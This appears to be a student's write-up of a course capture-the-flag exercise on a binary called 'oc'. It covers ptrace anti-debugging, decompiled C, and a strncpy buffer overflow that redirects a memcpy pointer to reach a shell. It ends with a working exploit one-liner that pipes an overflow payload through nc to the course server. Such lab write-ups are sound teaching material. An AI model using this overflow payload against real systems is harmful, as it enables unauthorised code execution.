

HW1-3: oc

0016302 heron

Problem

Get flag string from the binary "oc"

Step

Goal: get /bin/sh to *cat flag* by overwriting overflowed memory

Tool: radare2 + IDA Pro 6.1

anti-debugger code is found

ptrace() function is called at the beginning of main function:

```
|      0x080485e5      f7d8      neg eax
|      0x080485e7      89c2      mov edx, eax
|      0x080485e9      b807870408    mov eax, loc.08048707
|      0x080485ee      21d0      and eax, edx
|      0x080485f0      89442414      mov [esp+0x14], eax
|      0x080485f4      c744240c00000000 mov dword [esp+0xc], 0x0
|      0x080485fc      c744240801000000 mov dword [esp+0x8], 0x1
|      0x08048604      c744240400000000 mov dword [esp+0x4], 0x0
|      0x0804860c      c7042400000000    mov dword [esp], 0x0
|      0x08048613      e888feffff      call dword imp.ptrace
```

and different result is gave if ptrace < 0 (had been called before):

```
|      |||      0x080486d0      837c241800      cmp dword [esp+0x18], 0x0
|      ,====< 0x080486d5      7830      js loc.08048707 [6]
```

More, there are several nop code in oc to confuse debuggers, like:

```
/ loc: loc.08048706 (71)
|      |||      0x08048706      loc.08048706:
|      ||`---> 0x08048706      90      nop
|      ||      ; CODE (JMP) XREF 0x080486d5 (main)
|      ||      ; CODE (JMP) XREF 0x08048704 (main)
/ loc: loc.08048707 (70)
|      ||      0x08048707      loc.08048707:
|      ``----> 0x08048707      c7042454880408    mov dword [esp],
str.uhhh....itssomethingwrong.
```

decompile

We get following interesting C code from IDA Pro:

```
int __cdecl sub_80485D7(signed int a1, int a2)
{
    char *v2; // ST14_4@1
    size_t v3; // eax@1
    size_t v4; // eax@10
    int v6; // [sp+18h] [bp-8h]@1

    v2 = (char *)(-getpagesize() & (unsigned int)loc_8048707);
    v6 = ptrace(0, 0, 1, 0);
    v3 = getpagesize();
    mprotect(v2, v3, 7);
    if ( a1 <= 7 )
    {
        puts("I need 7 candidates.");
        exit(1);
    }
    if ( a1 > 8 )
    {
        puts("Too many candidates");
        exit(1);
    }
    if ( a1 == 13 )
    {
        sub_80485AD();
    }
    else
    {
        if ( a1 != 14 )
        {
            if ( a1 != 12 )
            {
                dword_804A044 = loc_8048707;
                dword_804A058 = loc_8048720;
                v4 = strlen(*(const char **)(a2 + 28));
                strncpy(byte_804A048, *(const char **)(a2 + 28), v4);
                if ( v6 >= 0 )
                    memcpy(dword_804A044, dword_804A058, dword_804A058 -
dword_804A044);
            }
            puts("uhhh....it's something wrong.");
            exit(0);
        }
    }
    system("/bin/sh");
    return 0;
}
```

where:

- a1: argc for oc

- (a2+28): argv[7]
- loc_8048707: function pointer for printing "...something wrong..."
- loc_8048720: function pointer for printing "...hongkong occupy..."

analysis

If argc==8 (7 input args), and not using debugger, we can get into the memcpy part (`memcpy(dword_804A044, dword_804A058, dword_804A058 - dword_804A044)`), which will copy the whole function from `loc_8048720` to `loc_8048707`.

However, we can overwrite `dword_804A058` from `byte_804A048` since the strcpy is not well protected for length checking. And, by overwriting `dword_804A058`, we then make the program memcpy from another location to `loc_8048707` (`loc_8048707` is where the program will jump to after finishing this part).

Solution

There are 16 bytes between `byte_804A048` and `dword_804A058`, so let's put something meaningless then put the location we like to jump:

```
#!/bin/bash
(python -c "print '1 2 3 4 5 6 ' + 'A'*16 + '\x30\x87\x04\x08\n'" && cat) | nc
secprog.cs.nctu.edu.tw 10002
```